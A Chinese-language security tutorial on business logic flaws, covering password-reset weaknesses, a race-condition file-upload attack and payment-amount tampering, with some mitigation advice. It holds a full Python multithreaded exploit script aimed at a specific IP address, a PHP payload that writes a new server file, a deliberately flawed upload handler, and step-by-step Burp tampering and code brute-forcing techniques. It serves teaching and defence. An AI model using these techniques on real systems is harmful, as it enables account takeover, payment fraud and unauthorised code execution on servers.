逻辑漏洞浅析
信息安全公益宣传,信息安全知识启蒙。
加微信群回复公众号:微信群;QQ群:16004488
加微信群或QQ群可免费索取:学习教程
教程列表见微信公众号底部菜单
业务逻辑问题是一种设计缺陷。
逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误。
精明的攻击者会特别注意目标应用程序采用的逻辑方式,设法了解设计者与开发者做出的可能假设,然后考虑如何攻破这些假设。
本文列出以下三种常见逻辑漏洞,加上代码给大家深度剖析并附上详细的解决方案。
先尝试正确的密码找回流程,记录不同找回方式的所有数据包;
分析数据包,找到有效数据部分;
推测数据构造方法;
构造数据包验证猜测。
邮箱找回
一般是点击邮件中的链接后会转跳到修密码的页面,这就需要分析链接的token构造了,可以考虑是时间戳md5、用户名或邮箱和随机字符串md5等,一般是类似如下链接:
http://cuimohan.com/findpwd.php?u=admin&token=MTIzQHFxLmNvbQ== http://cuimohan.com/findpwd.php?id=12&token=2ad64bf14c714dbce88c7993663da7da
当构造相应链接时就可以重置任意用户的密码
手机短信找回
短信找回一般就是4位或6位验证码,暴力猜测吧
找回逻辑错误
若恶意用户A用15123333333找回密码,此时收到验证码但不使用,此时恶意用户A再用受害者B的手机号找回密码,用户A在B的验证表单填入自己收到的验证码,发送,此时跳转的修改密码页面修改的就是用户B的密码。
直接修改密码
在修改密码时跳过选择找回方式,直接访问修改密码的页面进行修改。
本地验证
随意输入一个验证码,开Burp抓包,forward,抓返回包,返回包里可能有一个flag字段,若flag的值为1则跳转到修改密码页面,所以只要修改返回包即可。
服务端将验证码返回给浏览器
在点击获取验证码时,服务器会将验证码发送给浏览器,抓包即可。
验证码直接出现在url中
当点击获取验证码时发出的请求链接中直接有code。
密保问题找回
回答密保问题,有时一些答案就在html源码里。
将找回密码链接进行双重加密
$randsalt = random(0,6);
$rand = md5(random(0,6).$randsalt);这样就会将找回密码的链接进行双重加密 safe121_forgetpassword.php?safe121=1234&safe121.com=adfff
这样即使有一个不对应也无法找回,这样可以增加破解链接的成本。
把密码发送到用户的邮箱
这个不用说了吧,直接给你链接,点击之后发送到你邮箱里,即使被破解了也没事。
限制IP
例如7次错误则封IP,不过如果对方是动态ip照样也可以突破,所以推荐1和2的方法。
多线程条件竞争漏洞是一种服务端的漏洞,服务端是并发处理用户请求的,若并发处理不当或相关操作逻辑设计有缺陷时就会产生一些安全问题。
如文件上传和一些数据库操作。
$allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./uploads/"; $filename = $_FILES['myfile']['name']; if (is_uploaded_file($_FILES['myfile']['tmp_name'])){ if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){ die("error:can not move!");
}
} else { die("error:not an upload file!");
} echo "file upload success.file path is: ".$path.$newfile."\n<br />"; if ($_FILES['myfile']['error']>0){
unlink($path.$newfile); die("Upload file error: ");
} $ext = array_pop(explode(".",$_FILES['myfile']['name'])); if (!in_array($ext,$allowtype)){
unlink($path.$newfile); die("error:upload the file type is not allowed,delete the file!");
}?>
200个线程上传文件aa.php,同时200个线程同时请求aa.php,aa.php中内容为
<?php fputs(fopen("info.php","w"),"<?php phpinfo(); ?>") ?>,
只要aa.php被请求成功就会生成内容为<?php phpinfo(); ?>的php文件info.php
"""is_exit = Falsedef create_info():
global is_exit while not is_exit:
url = "http://123.206.78.20/u/aa.php"
resp = requests.get(url)def put_file():
global is_exit
file = {'myfile':('aa.php',open('C:/Users/Administrator/Desktop/aa.php'),'application/octet-stream')}
upload_url = "http://123.206.78.20/u.php"
while not is_exit:
requests.post(upload_url,files=file)def check_info():
global is_exit print "start threading check info.php:"
url = "http://123.206.78.20/u/info.php"
while True: print "check info.php..."
resp = requests.get(url) if resp.status_code == 200:
is_exit = True
print "create file info.php success."
breakfor x in xrange(1,200):
t = threading.Thread(target=create_info)
t.setDaemon(True)
t.start() print "start create_into threading %d" % xfor x in xrange(1,200):
t = threading.Thread(target=put_file)
t.setDaemon(True)
t.start() print "start put_file threading %d" % x
t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()try: while t.isAlive(): pass
time.sleep(1)except KeyboardInterrupt: print 'stopped by keyboard'
在数据库进行update、delete等操作时使用多线程请求,可在一次update时间内完成多次update,和上面的文件上传其实是一个原理。
重复使用
避免竞争漏洞是困难的,因为上面的这种核查然后使用(access 和 open)的模式在很多程序中大量出现。从上面的实验我们可以看出,黑客们如果想要获得竞争漏洞,必须要赢得竞争条件,这通常不是很容易的,这也是我们上面的试验中要进行很多重复性攻击的原因。这也给了我们一种降低漏洞攻击成功地概率,即非但不删去核查然后使用(access 和 open)的机制,相反,我们可以加入更多的这种的模式,这样我们可以指数级的降低黑客获取竞争漏洞的概率。
我们可以重复多次access()和open函数,并且我们在关闭文件时,通过核查文件的inode结点看看,来确保我们关闭的文件正是打开的那个文件。
最小权限原则
出现竞争漏洞的根本原因是违反了最小权限原则。程序员已经认识到程序的使用者可以会具有过的的权利,所以用access()来限制这种权力的使用,但是这不是一个合适的方法,最好的方法是使用最小权限原则,即当用户不需要这种权力,这种权力就应该被禁用。例如我们可以用seteuid()禁用这种权力,需要时再解开它。
攻击者通过修改交易金额、交易数量等从而利用漏洞。
如Burp 抓包修改交易金额、使交易数量为负数或无限大等。* 在支付时直接修改数据包中的支付金额,实现小金额购买大金额商品* 修改购买数量,使之为负数,可购买负数量商品,从而扣除负积分,即增加积分, 或使购买数量无限大,无限大时则程序可能处理出错,从而实现0金额支付* 请求重放,在购买成功后重放请求,可实现"一次购买对此收货"。
签名或者https做必要的防护。